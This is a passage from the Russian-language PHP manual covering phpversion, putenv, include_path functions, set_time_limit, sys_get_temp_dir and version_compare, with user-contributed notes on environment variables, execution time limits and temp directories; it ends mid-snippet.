// которые недоступны в версиях ранее 5.2.7

if (PHP_VERSION_ID < 50207) {
define('PHP_MAJOR_VERSION', $version[0]);
define('PHP_MINOR_VERSION', $version[1]);
define('PHP_RELEASE_VERSION', $version[2]);

// и так далее ...
}
?>

Примечания

Замечание:

Эта информация также доступна через предопределённую константу PHP_VERSION. Более детальную информацию можно получить с помощью констант PHP_VERSION_*.

Замечание:

Некоторые модули могут определять свой собственный номер версии. Однако большинство модулей, входящих в комплект поставки, в качестве номера версии используют версию PHP.

Смотрите также

  • Константы PHP_VERSION
  • version_compare() - Сравнивает две "стандартизованные" строки с номером версии PHP
  • phpinfo() - Выводит информацию о текущей конфигурации PHP
  • phpcredits() - Выводит список разработчиков PHP
  • zend_version() - Получает версию движка Zend

User Contributed Notes

burninleo at gmx dot net 14-Jul-2016 08:38
Note that the version string returned by phpversion() may include more information than expected: "5.5.9-1ubuntu4.17", for example.
cHao 08-May-2013 08:45
If you're trying to check whether the version of PHP you're running on is sufficient, don't screw around with `strcasecmp` etc.  PHP already has a `version_compare` function, and it's specifically made to compare PHP-style version strings.

<?php
if (version_compare(phpversion(), '5.3.10', '<')) {
    // php version isn't high enough
}
?>
pavankumar at tutorvista dot com 29-Oct-2010 12:39
To know, what are the {php} extensions loaded & version of extensions :

<?php
foreach (get_loaded_extensions() as $i => $ext)
{
   echo $ext .' => '. phpversion($ext). '<br/>';
}
?>


Устанавливает значение переменной среды

  • « phpversion
  • restore_include_path »
  • PHP Manual
  • Опции PHP/информационные функции
  • Устанавливает значение переменной среды

putenv

(PHP 4, PHP 5, PHP 7, PHP 8)

putenv — Устанавливает значение переменной среды

Описание

putenv(string $assignment): bool

Добавляет assignment в переменные окружения сервера. Переменная будет существовать только на время выполнения текущего запроса. По его завершении переменная вернётся в изначальное состояние.

Список параметров

assignment

Установка вида "FOO=BAR"

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка значения переменной среды

<?php
putenv("UNIQID=$uniqid");
?>

Смотрите также

  • getenv() - Получает значение одной или всех переменных окружения
  • apache_setenv() - Устанавливает переменную subprocess_env Apache

User Contributed Notes

domger at freenet dot de 22-May-2023 12:00
Values of variables with dots in their names are not output when using getenv(), but are still present and can be explicitly queried.

(saw this behaviour using PHP 8.2.4)

<?php

// set
putenv('foo.bar=baz');

// dump all
var_dump(getenv());    # <== variable 'foo.bar' NOT included, its value is not dumped

// dump explicitely 'foo.bar'
var_dump(getenv('foo.bar'));    # works, value 'baz' is shown
t7to7 01-Sep-2019 11:17
White spaces are allowed in environment variable names so :

<?php
putenv('U =33');
?>

Is not equivalent to

<?php
putenv('U=33');
?>
broussardrobert at sbcglobal dot net 22-Aug-2017 11:25
Multiple invocations of putenv() work as expected: the real problem was that some of the putenv() invocations in my script contained typographical errors.

I typed, e.g., putenv( "IMAGE_DATABASE=" . $_SERVER{'IMAGE_DATABASE'} );
which of course is incorrect.  '{' and '}' should have been '[' and ']'.
Because my first call to putenv() did not have that typo, it worked correctly, but the remaining three calls I coded with the typo merely cleared the corresponding environment variables and thus did not make it into the external script I invoked via a system() call.  I suspect the fact my first invocation was typed correctly affected my efforts looking at the syntax in the following invocations.

The trivial extension to the example provided is to merely call putenv() multiple times, once for each variable.
broussardrobert at sbcglobal dot net 22-Aug-2017 05:27
Great examples for the trivial case that most can figure out directly from the manual, but where is the trivially more complex example describing how to set multiple variables?  I tried separating with spaces, commas, semicolons, multiple invocations of setenv, all to no avail.  Please try to include trivial extensions to the examples...
Anonymous Coder 27-Mar-2012 06:28
It's the putenv() type of environment variables that get passed to a child process executed via exec().

If you need to delete an existing environment variable so the child process does not see it, use:

putenv('FOOBAR');

That is, leave out both the "=" and a value.
php at keith tyler dot com 21-Jun-2010 05:52
putenv/getenv, $_ENV, and phpinfo(INFO_ENVIRONMENT) are three completely distinct environment stores. doing putenv("x=y") does not affect $_ENV; but also doing $_ENV["x"]="y" likewise does not affect getenv("x"). And neither affect what is returned in phpinfo().

Assuming the USER environment variable is defined as "dave" before running the following:

<?php
print "env is: ".$_ENV["USER"]."\n";
print "(doing: putenv fred)\n";
putenv("USER=fred");
print "env is: ".$_ENV["USER"]."\n";
print "getenv is: ".getenv("USER")."\n";
print "(doing: set _env barney)\n";
$_ENV["USER"]="barney";
print "getenv is: ".getenv("USER")."\n";
print "env is: ".$_ENV["USER"]."\n";
phpinfo(INFO_ENVIRONMENT);
?>

prints:

env is: dave
(doing: putenv fred)
env is: dave
getenv is: fred
(doing: set _env barney)
getenv is: fred
env is: barney
phpinfo()

Environment

Variable => Value
...
USER => dave
...
JM 16-Feb-2007 06:41
The other problem with the code from av01 at bugfix dot cc is that
the behaviour is as per the comments here, not there:
<?php
putenv('MYVAR='); // set MYVAR to an empty value.  It is in the environment
putenv('MYVAR'); // unset MYVAR.  It is removed from the environment
?>
david dot boyce at messagingdirect dot comnospam 13-Sep-2000 10:23
Environment variables are part of the underlying operating system's
way of doing things, and are used to pass information between a parent
process and its child, as well as to affect the way some internal
functions behave.  They should not be regarded as ordinary PHP
variables.

A primary purpose of setting environment variables in a PHP script is
so that they are available to processes invoked by that script using
e.g. the system() function, and it's unlikely that they would need to
be changed for other reasons.

For example, if a particular system command required a special value
of the environment variable LD_LIBRARY_PATH to execute successfully,
then the following code might be used on a *NIX system:

<?php
 $saved = getenv("LD_LIBRARY_PATH");        // save old value
 $newld = "/extra/library/dir:/another/path/to/lib";  // extra paths to add
 if ($saved) { $newld .= ":$saved"; }           // append old paths if any
 putenv("LD_LIBRARY_PATH=$newld");        // set new value
 system("mycommand -with args");        // do system command;
                        // mycommand is loaded using
                        // libs in the new path list
 putenv("LD_LIBRARY_PATH=$saved");        // restore old value
?>

It will usually be appropriate to restore the old value after use;
LD_LIBRARY_PATH is a particularly good example of a variable which it
is important to restore immediately, as it is used by internal
functions.

If php.ini configuration allows, the values of environment variables
are made available as PHP global variables on entry to a script, but
these global variables are merely copies and do not track the actual
environment variables once the script is entered.  Changing
$REMOTE_ADDR (or even $HTTP_ENV_VARS["REMOTE_ADDR"]) should not be
expected to affect the actual environment variable; this is why
putenv() is needed.

Finally, do not rely on environment variables maintaining the same
value from one script invocation to the next, especially if you have
used putenv().  The result depends on many factors, such as CGI vs
apache module, and the exact way in which the environment is
manipulated before entering the script.


Восстанавливает изначальное значение настройки конфигурации include_path

  • « putenv
  • set_include_path »
  • PHP Manual
  • Опции PHP/информационные функции
  • Восстанавливает изначальное значение настройки конфигурации include_path

restore_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

restore_include_path — Восстанавливает изначальное значение настройки конфигурации include_path

Внимание

Эта функция УСТАРЕЛА, начиная с PHP 7.4.0 и была УДАЛЕНА, начиная с PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

restore_include_path(): void

Восстанавливает исходное значение настройки конфигурации include_path, которое записано в php.ini

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования restore_include_path()

<?php

echo get_include_path(); // .:/usr/local/lib/php

set_include_path('/inc');

echo get_include_path(); // /inc

restore_include_path();

// или так
ini_restore('include_path');

echo get_include_path(); // .:/usr/local/lib/php

?>

Смотрите также

  • ini_restore() - Восстанавливает значение настройки конфигурации
  • get_include_path() - Получение текущего значения настройки конфигурации include_path
  • set_include_path() - Устанавливает значение настройки конфигурации include_path
  • include - include

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение настройки конфигурации include_path

  • « restore_include_path
  • set_time_limit »
  • PHP Manual
  • Опции PHP/информационные функции
  • Устанавливает значение настройки конфигурации include_path

set_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

set_include_path — Устанавливает значение настройки конфигурации include_path

Описание

set_include_path(string $include_path): string|false

Задаёт значение настройки конфигурации include_path на время выполнения скрипта.

Список параметров

include_path

Новое значение настройки include_path

Возвращаемые значения

Возвращает старое значение include_path в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования set_include_path()

<?php
set_include_path('/usr/lib/pear');

// Или так
ini_set('include_path', '/usr/lib/pear');
?>

Пример #2 Составление более длинного пути include path

Используя константу PATH_SEPARATOR, можно добавить к пути вложенные директории независимо от операционной системы.

В этом примере мы добавим /usr/lib/pear в конец существующего пути include_path.

<?php
$path = '/usr/lib/pear';
set_include_path(get_include_path() . PATH_SEPARATOR . $path);
?>

Смотрите также

  • ini_set() - Устанавливает значение настройки конфигурации
  • get_include_path() - Получение текущего значения настройки конфигурации include_path
  • restore_include_path() - Восстанавливает изначальное значение настройки конфигурации include_path
  • include - include

User Contributed Notes

parks at vecinc dot com 27-Jul-2009 11:44
If you find that this function is failing for you, and you're not sure why, you may have set your php include path in your sites's conf file in Apache  (this may be true of .htaccess as well)

So to get it to work, comment out any "php_value include_path" type lines in your Apache conf file, and you should be able to set it now in your php code.


Ограничение времени выполнения скрипта

  • « set_include_path
  • sys_get_temp_dir »
  • PHP Manual
  • Опции PHP/информационные функции
  • Ограничение времени выполнения скрипта

set_time_limit

(PHP 4, PHP 5, PHP 7, PHP 8)

set_time_limit — Ограничение времени выполнения скрипта

Описание

set_time_limit(int $seconds): bool

Задаёт время в секундах, в течение которого скрипт должен завершить работу. Если скрипт не успевает, вызывается фатальная ошибка. По умолчанию даётся 30 секунд, либо время, записанное в настройке max_execution_time в php.ini (если такая настройка установлена).

При вызове set_time_limit() перезапускает счётчик с нуля. Другими словами, если время ожидания изначально было 30 секунд, и через 25 секунд после запуска скрипта будет вызвана функция set_time_limit(20), то скрипт будет работать максимум 45 секунд.

Список параметров

seconds

Максимальное время выполнения в секундах. Если задан ноль, время выполнения неограниченно.

Возвращаемые значения

Возвращает true в случае успешного выполнения, иначе false.

Примечания

Замечание:

Функция set_time_limit() и директива max_execution_time влияют на время выполнения только самого скрипта. Время, затраченное на различные действия вне скрипта, такие как системные вызовы функции system(), потоковые операции, запросы к базам данных и т.п. не включаются в расчёт времени выполнения скрипта. Это не относится к системам Windows, где рассчитывается абсолютное время выполнения.

Смотрите также

  • max_execution_time
  • max_input_time

User Contributed Notes

Daan 15-Mar-2021 12:00
If you would like to calculatue the wall time of your script (includes all external DB/HTTP calls etc.) in Unix (in Windows this is already default behavior), you could use the following function:

<?php

$timeoutInSeconds = 3;

// This will make sure this is always called async
pcntl_async_signals(1);

// Second parameter is any callable (https://www.php.net/manual/en/language.types.callable.php)
pcntl_signal(SIGALRM, function() {
    exit('Stop it!');
});
pcntl_alarm($timeoutInSeconds);

?>
Anonymous 11-Nov-2019 07:05
if you want to check how much time remains, this should work (at least on Windows, on non-Windows platforms, i'm not sure)

$seconds_remaining_until_termination = ini_get('max_execution_time') === "0" ? null : ((int)ini_get('max_execution_time'))-(microtime(true)-$_SERVER['REQUEST_TIME_FLOAT']);

gives you number of seconds until the script will be terminated due to the time limit. (tested on Windows 7 X64 SP1 with PHP 7.3.7)  - or gives you null if there is no time limit.
f.nakamura 06-Jul-2015 07:54
set_tme_limit resets the execution time count.

test code1:
<?php
echo '<html><body>';
set_time_limit(1);
$i = 0;
while(++$i < 100000001){
        if($i % 100000 == 0){
                echo $i / 100000, "<br/>\n";
        }
}
echo "done.<br/>\n";

// will not echo 'done.'.
?>

test code2:
<?php
echo '<html><body>';
set_time_limit(1);
$i = 0;
while(++$i < 100000001){
        if($i % 100000 == 0){
                set_time_limit(1);
                echo $i / 100000, "<br/>\n";
        }
}
echo "done.<br/>\n";

// will echo 'done.'
?>
kexianbin at diyism dot com 20-May-2014 09:41
Both set_time_limit(...) and  ini_set('max_execution_time',...); won't count the time cost of sleep,file_get_contents,shell_exec,mysql_query etc, so i build this function my_background_exec(), to run static method/function in background/detached process and time is out kill it:

my_exec.php:
<?php
function my_background_exec($function_name, $params, $str_requires, $timeout=600)
         {$map=array('"'=>'\"', '$'=>'\$', '`'=>'\`', '\\'=>'\\\\', '!'=>'\!');
          $str_requires=strtr($str_requires, $map);
          $path_run=dirname($_SERVER['SCRIPT_FILENAME']);
          $my_target_exec="/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} \\\$params=json_decode(file_get_contents('php://stdin'),true);call_user_func_array('{$function_name}', \\\$params);\"";
          $my_target_exec=strtr(strtr($my_target_exec, $map), $map);
          $my_background_exec="(/usr/bin/php -r \"chdir('{$path_run}');{$str_requires} my_timeout_exec(\\\"{$my_target_exec}\\\", file_get_contents('php://stdin'), {$timeout});\" <&3 &) 3<&0";//php by default use "sh", and "sh" don't support "<&0"
          my_timeout_exec($my_background_exec, json_encode($params), 2);
         }

function my_timeout_exec($cmd, $stdin='', $timeout)
         {$start=time();
          $stdout='';
          $stderr='';
          //file_put_contents('debug.txt', time().':cmd:'.$cmd."\n", FILE_APPEND);
          //file_put_contents('debug.txt', time().':stdin:'.$stdin."\n", FILE_APPEND);

          $process=proc_open($cmd, [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']], $pipes);
          if (!is_resource($process))
             {return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
             }
          $status=proc_get_status($process);
          posix_setpgid($status['pid'], $status['pid']);    //seperate pgid(process group id) from parent's pgid

          stream_set_blocking($pipes[0], 0);
          stream_set_blocking($pipes[1], 0);
          stream_set_blocking($pipes[2], 0);
          fwrite($pipes[0], $stdin);
          fclose($pipes[0]);

          while (1)
                {$stdout.=stream_get_contents($pipes[1]);
                 $stderr.=stream_get_contents($pipes[2]);

                 if (time()-$start>$timeout)
                    {//proc_terminate($process, 9);    //only terminate subprocess, won't terminate sub-subprocess
                     posix_kill(-$status['pid'], 9);    //sends SIGKILL to all processes inside group(negative means GPID, all subprocesses share the top process group, except nested my_timeout_exec)
                     //file_put_contents('debug.txt', time().":kill group {$status['pid']}\n", FILE_APPEND);
                     return array('return'=>'1', 'stdout'=>$stdout, 'stderr'=>$stderr);
                    }

                 $status=proc_get_status($process);
                 //file_put_contents('debug.txt', time().':status:'.var_export($status, true)."\n";
                 if (!$status['running'])
                    {fclose($pipes[1]);
                     fclose($pipes[2]);
                     proc_close($process);
                     return $status['exitcode'];
                    }

                 usleep(100000);
                }
         }
?>

a_class.php:
<?php
class A
{
    static function jack($a, $b)
           {sleep(4);
            file_put_contents('debug.txt', time().":A::jack:".$a.' '.$b."\n", FILE_APPEND);
            sleep(15);
           }
}
?>

test.php:
<?php
require 'my_exec.php';

my_background_exec('A::jack', array('hello', 'jack'), 'require "my_exec.php";require "a_class.php";', 8);
?>
robertbrogers at gmail dot com 09-Jan-2014 08:45
Documentation states:
When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.

If I have a long running script and i want a exact  time limit, I set this as near as possible to the first line.
mingalevme at gmail dot com 10-May-2012 07:51
If you're using PHP_CLI SAPI and getting error "Maximum execution time of N seconds exceeded" where N is an integer value, try to call set_time_limit(0) every M seconds or every iteration. For example:

<?php

require_once('db.php');

$stmt = $db->query($sql);

while ($row = $stmt->fetchRow()) {
    set_time_limit(0);
    // your code here
}

?>
ratty at brohoof dot com 25-Nov-2011 07:39
One thing that I wish I had found sooner is, if you're using php-cli and really need to limit the executation time, and if you're in *nix, you can use "timeout" which is part of coreutils.
For example:

timeout 5 /usr/bin/php -q /path/to/script

and it will kill it if it takes longer than 5 seconds.
I had a few quick php scripts I wrote for use with cacti for example.
alexander dot krause at ed-solutions dot de 29-Aug-2011 02:26
A nice workaround to have a real max_execution_time (needs posix and pcntl):

<?php
$pid=pcntl_fork();

if ($pid) {
  //long time process
  $a=0;
  while (true) {
    echo "a=$a\n\n";
    ob_flush();
    flush();
    $a++;
    shell_exec('sleep 10&');
  }
} else {
  //time-limit checker
  sleep(5);
  posix_kill(posix_getppid(),SIGKILL);
}
?>
agvozden at gmail dot com 01-Oct-2010 01:51
If you got something like:

msg: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode

try this:

<?php
        if( !ini_get('safe_mode') ){
            set_time_limit(25);
        }
?>
Silver_Knight 23-Mar-2010 05:18
if you are running a script that needs to execute for unknown time, or forever.. you may use
set_time_limit(0);
.....
...
..
.
and at the end of the script use flush() function to tell phpto send out what it has generated.
ravenswd at gmail dot com 15-Aug-2009 04:46
Unfortunately, a script which gets into an infinite loop can produce an alarming amount of output in only a few seconds. I was attempting to debug a script, and I added

<?php
set_time_limit(2);
?>

to the beginning of the script. Unfortunately, even two seconds of run time produced enough output to overload the memory available to my browser.

So, I wrote a short routine which would limit the execution time, and also limit the amount of output returned. I added this to the beginning of my script and it worked perfectly:

<?php
set_time_limit(2);

ob_start();     // buffer output

function shutdown () {
    // print only first 2000 characters of output
    $out = ob_get_clean();
    print substr($out, 0, 2000);
}

register_shutdown_function('shutdown');
?>
BW 16-May-2009 05:08
If you use Apache you can change maximum execution time by .htaccess with this line

php_value max_execution_time 200
cweiske at cweiske dot de 02-Sep-2008 04:38
To get the currently used time, use getrusage()
jonathon dot keogh at gmail dot com 18-Jul-2008 02:07
You can do set_time_limit(0); so that the script will run forever - however this is not recommended and your web server might catch you out with an imposed HTTP timeout (usually around 5 minutes).

You should check your web server's guides for more information about HTTP timeouts.

Jonathon
AtlantisNet 04-Jun-2008 12:08
In IIS, there is another global timeout setting which will override any PHP settings.  You can alter this timeout by following the following instructions:

http://www.iisadmin.co.uk/?p=7
php at stock-consulting dot com 12-Jan-2007 05:30
To find out the currently set time limit, use

<?php
 ini_get('max_execution_time');
?>

If set_time_limit has been previously called in the script, the result will be the value which was passed to set_time_limit (and not, as the function name "ini_get" appears to suggest, the value from the php.ini file).
bjfieldNO at SPAMgmail dot com 10-Jan-2007 02:53
Timeouts after five minutes in IIS on Windows are caused by an inherited CGI Timeout value of 300 seconds.  This is not a PHP problem.  The fix is to add custom values for the files or directories that need longer to run.

In IIS 5.0 or 7.0 (beta as of this note), you can change this value on a fairly granular level using IIS Manager, under (roughly) YOURSITE -> Properties -> Home Directory -> Configuration (button) -> Options, but in IIS 6.0, this functionality is turned off (!), so you have to get into the Metabase.

Find the site number in Metabase Explorer (e.g., 12345678), then from CMD prompt:

[get to the scripts dir]
cd C:\Inetpub\AdminScripts

[this for each subdirectory from off the site root]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY" IIsWebDirectory

[this for the file in question]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php IIsWebFile

[this to set the timeout]
cscript adsutil.vbs set W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php/CGITimeout "7200"

Note:  "7200" is 2 hours in seconds, but can be whatever.

I derived the solution above from this fine article:
http://www.iis-resources.com/modules/AMS/article.php?
storyid=509&page=3
mba_aslam at yahoo dot com 05-Jan-2007 05:50
while setting the set_time_limit(), the duration of sleep() will be ignored in the execution time. The following illustrates:

<?php

set_time_limit(20);

while ($i<=10)
{
        echo "i=$i ";
        sleep(100);
        $i++;
}

?>

Output:
i=0 i=1 i=2 i=3 i=4 i=5 i=6 i=7 i=8 i=9 i=10
konrads dot smelkovs at gmail dot com 01-Apr-2006 06:35
If you are streaming large data from database, it is counted towards the max exec time.
jatin at jatinchimote dot com 01-Mar-2006 10:54
If you set the number of seconds to a very large number (not many ppl do that, but just in case) then php exits with a fatal error like :

Fatal error: Maximum execution time of 1 second exceeded in /path/to/your/script/why.php

[EDIT by danbrown AT php DOT net: This is due to the limit of 32-bit signed integers.]
Cleverduck 28-Feb-2006 01:36
Regarding what 'nytshadow' said, it's important to realize that max-execution-time and the set_time_limit functions measure the time that the CPU is working on the script.  If the script blocks, IE: for input, select, sleep, etc., then the time between blocking and returning is NOT measured.  This is the same when running scripts from the command line interface.  So if you've got a log parser written in PHP that tails a file, that program WILL fail eventually.  It just depends how long it takes to read in enough input to process for 30 seconds.

If you're writing a command line script that should run infinitely, setting max-execution-time to 0 (never stop) is HIGHLY recommended.
rycardo74 at gmail dot com 24-Nov-2005 10:52
this work to fine html streaming AND time pass limit

<?php
header('Content-type: text/plain');
echo date("H:m:s"), "\n";
set_time_limit(30);
for ($i = 0; $i < 1000; $i++)
{

    echo date("H:m:s"),"\n";
    for ($r = 0; $r < 100000; $r++){
    $X.=  tan(M_LNPI+log(ceil(  date("s")*M_PI*M_LNPI+100)));
    }
    ob_flush();
    flush();

}
echo "work! $x";
?>
eric pecoraro at shepard com 06-Jun-2005 12:57
I was having trouble with script timeouts in applications where the user prompted long running background actions. I wrote this cURL/CLI background script that solved the problem when making requests from HTTP.

<?php

/* BACKGROUND CLI 1.0

   eric pecoraro _at_ shepard dot com - 2005-06-02
   Use at your own risk. No warranties expressed or implied.

   Include this file at the top of any script to run it in the background
   with no time limitations ... e.g., include('background_cli.php');

   The script that calls this file should not return output to the browser.
*/
#  REQUIREMENTS - cURL and CLI
   if ( !function_exists('curl_setopt') OR !function_exists('curl_setopt')  ) {
      echo 'Requires cURL and CLI installations.' ; exit ;
   }

#  BUILD PATHS
   $script = array_pop(explode('/',$SCRIPT_NAME)) ;
   $script_dir = substr($SCRIPT_NAME,0,strlen($SCRIPT_NAME)-strlen($script)) ;
   $scriptURL = 'http://'. $HTTP_HOST . $script_dir . "$script" ;
   $curlURL = 'http://'. $HTTP_HOST . $script_dir . "$script?runscript=curl" ;

#  Indicate that script is being called by CLI
   if ( php_sapi_name() == 'cli' ) {
      $CLI = true ;
   }

#  Action if script is being called by cURL_prompt()
   if ( $runscript == 'curl' ) {
      $cmd = "/usr/local/bin/php ".$PATH_TRANSLATED ; // server location of script to run
      exec($cmd) ;
      exit;
   }

#  USER INTERFACE
   // User answer after submission.
   if ( $post ) {
      cURL_prompt($curlURL) ;
      echo '<div style="margin:25px;"><title>Background CLI</title>';
      echo 'O.K. If all goes well, <b>'.$script.'</b> is working hard in the background with no ' ;
      echo 'timeout limitations. <br><br><form action='.$scriptURL.' method=GET>' ;
      echo '<input type=submit value=" RESET BACKGROUND CLI "></form></div>' ;
      exit ;
   }
   // Start screen.
   if ( !$CLI AND !$runscript ) {
      echo '<title>Background CLI</title><div style="margin:25px;">' ;
      echo '<form action='.$scriptURL.' method=POST>' ;
      echo 'Click to run <b>'.$script.'</b> from the PHP CLI command line, in the background.<br><br>' ;
      echo '<input type=hidden value=1 name=post>' ;
      echo '<input type=submit value=" RUN IN BACKGROUND "></form></div>' ;
      exit ;
   }

#  cURL URL PROMPT FUNCTION
   function cURL_prompt($url_path) {
      ob_start(); // start output buffer
      $c=curl_init($url_path);
      curl_setopt($c, CURLOPT_TIMEOUT, 2); // drop connection after 2 seconds
      curl_exec($c);
      curl_close($c);
      ob_end_clean(); // discard output buffer
   }
?>
php at mightycpa.com 26-Jun-2003 01:30
You may also need to look at Apache's timeout setting (Win32 version for me), I changed max execution time value in php.ini, and still got stopped by Apache's timeout value in the httpd.conf file.
rsallo at gna dot NOSPAM dot es 30-May-2003 04:28
When you are working with IIS, PHP timeout is valid only when it's lower than script timeout defined by IIS.

IIS 5 has a default timeout of 300 seconds. If you need a higher timeout, you also have to change IIS properties. Otherwise, your server will stop your PHP script before it reaches its own timeout.


Возвращает путь к директории временных файлов

  • « set_time_limit
  • version_compare »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает путь к директории временных файлов

sys_get_temp_dir

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

sys_get_temp_dir — Возвращает путь к директории временных файлов

Описание

sys_get_temp_dir(): string

Возвращает путь к директории, где PHP по умолчанию хранит временные файлы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь к директории временных файлов.

Примеры

Пример #1 Пример использования sys_get_temp_dir()

<?php
// Создание временного файла в директории
// временных файлов, используя sys_get_temp_dir()
$temp_file = tempnam(sys_get_temp_dir(), 'Tux');

echo $temp_file;
?>

Результатом выполнения данного примера будет что-то подобное:

C:\Windows\Temp\TuxA318.tmp

Смотрите также

  • tmpfile() - Создаёт временный файл
  • tempnam() - Создаёт файл с уникальным именем

User Contributed Notes

Anonymous 11-Mar-2021 01:28
On windows, when PHP is used as CLI, this function will return the temp directory for the current user e.g. C:\Users\JohnSmith\AppData\Local\Temp\9 instead of C:\Windows\Temp.
Arthur Clifford 02-Mar-2020 01:28
That is important for the purposes of building paths through concatenation to know that sys_get_temp_dir does not include a path separator at the end.

So, sys_get_temp_dir() will return whatever your temp dir is set to, by default:

/tmp

If you attempted to concatenate another dir name  temp and use the following:

mkdir(sys_get_temp_dir() . 'some_dir');

That would actually attempt to generate:
/tmpsome_dir

It would likely result in a permission error unless you are running a php script as a super user.

Instead you would want to do:
mkdir( sys_get_temp_dir() . DIRECTORY_SEPARATOR. 'some_dir' );

which would create:
/tmp/some_dir

I don't know if Windows or other platforms include a directory separator at the end. So if you are writing something a bit more general you may want to check for the path separator at the end and if it is not there append it.
besabellacyrus at gmail dot com 26-Aug-2019 01:36
using in windows this trim spaces and add ~1
OsakaWebbie 11-May-2017 03:40
If running on a Linux system where systemd has PrivateTmp=true (which is the default on CentOS 7 and perhaps other newer distros), this function will simply return "/tmp", not the true, much longer, somewhat dynamic path.
ohcc at 163 dot com 18-Jul-2016 05:17
when the sys_temp_dir directive is left unset, sys_get_temp_dir() returns C:\Windows on my Windows.
Nimja 17-Sep-2015 11:07
A very helpful thing to note when on Linux:

If you are running PHP from the commandline you can use the environment variable: TMPDIR - to change the location without touching php.ini. - This should work on most versions of PHP.

Example file: test.php
<?php
    echo sys_get_temp_dir() . PHP_EOL;
?>

And then running:

php test.php
     /tmp

TMPDIR=/custom/location php test.php
    /custom/location
Anonymous 24-Apr-2015 10:44
it should be mentioned that the return value of sys_get_temp_dir() can be set using the ini-directive 'sys_temp_dir' globally as well as per directory by using
php_admin_value sys_temp_dir /path/to/tmp
royanee at yahoo dot com 11-Jun-2014 08:27
As of PHP 5.5.0, you can set the sys_temp_dir INI setting so that this function will return a useful value when the default temporary directory is not an option.
Ismail Asci 31-Jan-2014 11:56
It's not documented but this function does not  send the path with trailing spaces, actually it drops the slash if it exists.

https://github.com/php/php-src/blob/af6c11c5f060870d052a2b765dc634d9e47d0f18/main/php_open_temporary_file.c#L238
bert-jan at bugbyte dot nl 29-Mar-2010 01:06
This function does not account for virtualhost-specific modifications to the temp path and/or open_basedir:

<Virtualhost>
php_admin_value open_basedir /home/user
php_admin_value upload_tmp_dir /home/user/tmp
php_admin_value session.save_path /home/user/tmp
</Virtualhost>

Within this config it still returns /tmp
Anonymous 29-Jan-2008 04:08
This function does not always add trailing slash. This behaviour is inconsistent across systems, so you have keep an eye on it.


Сравнивает две "стандартизованные" строки с номером версии PHP

  • « sys_get_temp_dir
  • zend_thread_id »
  • PHP Manual
  • Опции PHP/информационные функции
  • Сравнивает две "стандартизованные" строки с номером версии PHP

version_compare

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

version_compare — Сравнивает две "стандартизованные" строки с номером версии PHP

Описание

version_compare(string $version1, string $version2, ?string $operator = null): int|bool

version_compare() сравнивает две "PHP-стандартизованные" строки с номерами версий.

Функция сначала заменяет _, - и + на точку . в строках версий, а также добавляет точки . перед и после каждого символа, не являющегося числом. Например, '4.3.2RC1' преобразуется в '4.3.2.RC.1'. После этого сравнивает части строк слева направо. Если часть строки содержит специальные символы версий, они обрабатываются следующим образом: любая строка, не найденная в этом списке < dev < alpha = a < beta = b < RC = rc < # < pl = p. Таким образом можно сравнивать не только версии разных уровней, вроде '4.1' и '4.1.2', но и специфичные версии, включающие статус разработки.

Список параметров

version1

Номер первой версии.

version2

Номер второй версии.

operator

Необязательный параметр operator. Возможные значения: <, lt, <=, le, >, gt, >=, ge, ==, =, eq, !=, <>, ne.

Аргумент чувствителен к регистру, поэтому значения должны быть в нижнем регистре.

Возвращаемые значения

По умолчанию функция version_compare() возвращает
-1, если первая версия меньше второй;
0, когда они равны;
1, если вторая меньше первой.

При использовании аргумента operator функция вернёт true, если выражение в соответствии с оператором верно, и false в противном случае.

Примеры

В примере ниже используется константа PHP_VERSION, она содержит номер версии PHP, который выполняет код.

Пример #1 Пример использования version_compare()

<?php
if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
echo 'Я использую PHP версии не ниже 7.0.0, моя версия: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
echo 'Я использую PHP версии не ниже 5.3.0, моя версия: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '>=')) {
echo 'Я использую PHP 5.0.0 или выше, моя версия: ' . PHP_VERSION . "\n";
}

if (version_compare(PHP_VERSION, '5.0.0', '<')) {
echo 'Я до сих пор использую PHP 4, моя версия: ' . PHP_VERSION . "\n";
}
?>

Примечания

Замечание:

Константа PHP_VERSION хранит номер текущей версии PHP.

Замечание:

Заметьте, что дорелизные версии, такие как 5.3.0-dev, считаются меньше, чем финальные (вида 5.3.0).

Замечание:

Специальные слова вроде alpha и beta чувствительны к регистру. Строки версий, не придерживающиеся PHP-стандарта, нужно приводить к нижнему регистру функцией strtolower() до вызова version_compare().

Смотрите также

  • phpversion() - Получает текущую версию PHP
  • php_uname() - Возвращает информацию об операционной системе, на которой запущен PHP
  • function_exists() - Возвращает true, если указанная функция определена

User Contributed Notes

Lcuis 20-Jul-2022 10:05
In case you need to handle more complex version numbers like alpha, beta,..., here is a little something that can help:

function multiExplode($delimiters,$string){
    $pattern = '/['.preg_quote($delimiters).']/';
    return(preg_split( $pattern, $string ));
}

function isInteger($input){
    return(ctype_digit(strval($input)));
}

function keepIntsStartArray($arr){
    $nonIntMappings=[
        "alpha"=>1,
        "beta"=>2,
        "gamma"=>3,
        "delta"=>4,
        "epsilon"=>5,
        "zeta"=>6,
